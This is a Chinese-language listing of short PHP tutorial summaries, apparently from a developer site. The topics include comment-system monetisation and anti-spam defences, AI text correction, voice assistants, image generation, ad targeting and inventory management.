1.評論系統商業價值最大化需結合原生廣告精準投放、用戶付費增值服務(如上傳圖片、評論置頂)、基於評論質量的影響力激勵機制及合規匿名數據洞察變現;2.審核策略應採用前置審核 動態關鍵詞過濾 用戶舉報機制組合,輔以評論質量評分實現內容分級曝光;3.防刷需構建多層防禦:reCAPTCHAv3無感驗證、Honeypot蜜罐字段識別機器人、IP與時間戳頻率限制阻止灌水、內容模式識別標記可疑評論,持續迭代應對攻擊。

如何用PHP結合AI實現文本糾錯 PHP語法檢測與優化 如何用PHP結合AI實現文本糾錯 PHP語法檢測與優化 Jul 25, 2025 pm 08:57 PM

要實現PHP結合AI進行文本糾錯與語法優化,需按以下步驟操作:1.選擇適合的AI模型或API,如百度、騰訊API或開源NLP庫;2.通過PHP的curl或Guzzle調用API並處理返回結果;3.在應用中展示糾錯信息並允許用戶選擇是否採納;4.使用php-l和PHP_CodeSniffer進行語法檢測與代碼優化;5.持續收集反饋並更新模型或規則以提升效果。選擇AIAPI時應重點評估準確率、響應速度、價格及對PHP的支持。代碼優化應遵循PSR規範、合理使用緩存、避免循環查詢、定期審查代碼,並藉助X

PHP調用AI智能語音助手 PHP語音交互系統搭建 PHP調用AI智能語音助手 PHP語音交互系統搭建 Jul 25, 2025 pm 08:45 PM

用戶語音輸入通過前端JavaScript的MediaRecorderAPI捕獲並發送至PHP後端;2.PHP將音頻保存為臨時文件後調用STTAPI(如Google或百度語音識別)轉換為文本;3.PHP將文本發送至AI服務(如OpenAIGPT)獲取智能回复;4.PHP再調用TTSAPI(如百度或Google語音合成)將回復轉為語音文件;5.PHP將語音文件流式返回前端播放,完成交互。整個流程由PHP主導數據流轉與錯誤處理,確保各環節無縫銜接。

如何用PHP結合AI做圖像生成 PHP自動生成藝術作品 如何用PHP結合AI做圖像生成 PHP自動生成藝術作品 Jul 25, 2025 pm 07:21 PM

PHP不直接進行AI圖像處理,而是通過API集成,因為它擅長Web開發而非計算密集型任務,API集成能實現專業分工、降低成本、提升效率;2.整合關鍵技術包括使用Guzzle或cURL發送HTTP請求、JSON數據編解碼、API密鑰安全認證、異步隊列處理耗時任務、健壯錯誤處理與重試機制、圖像存儲與展示;3.常見挑戰有API成本失控、生成結果不可控、用戶體驗差、安全風險和數據管理難,應對策略分別為設置用戶配額與緩存、提供prompt指導與多圖選擇、異步通知與進度提示、密鑰環境變量存儲與內容審核、雲存

如何用PHP開發AI驅動的廣告投放 PHP廣告效果優化方案 如何用PHP開發AI驅動的廣告投放 PHP廣告效果優化方案 Jul 25, 2025 pm 06:12 PM

PHP通過收集用戶數據(如瀏覽歷史、地理位置)並預處理,為AI模型提供輸入基礎;2.使用curl或gRPC等技術對接AI模型,獲取點擊率、轉化率預測結果;3.根據預測動態調整廣告展示頻率、目標人群等策略;4.通過A/B測試不同廣告變體並記錄數據,結合統計分析優化效果;5.利用PHP監控流量來源、用戶行為並與GoogleAds等第三方API集成,實現自動化投放與持續反饋優化,最終提升CTR、CVR並降低CPC,完整實現AI驅動的廣告系統閉環。

PHP實現商品庫存管理變現 PHP庫存同步與報警機制 PHP實現商品庫存管理變現 PHP庫存同步與報警機制 Jul 25, 2025 pm 08:30 PM

PHP通過數據庫事務與FORUPDATE行鎖確保庫存扣減原子性,防止高並發超賣;2.多平台庫存一致性需依賴中心化管理與事件驅動同步,結合API/Webhook通知及消息隊列保障數據可靠傳遞;3.報警機制應分場景設置低庫存、零/負庫存、滯銷、補貨週期和異常波動策略,並按緊急程度選擇釘釘、短信或郵件通知責任人,且報警信息需完整明確,以實現業務適配與快速響應。

See all articles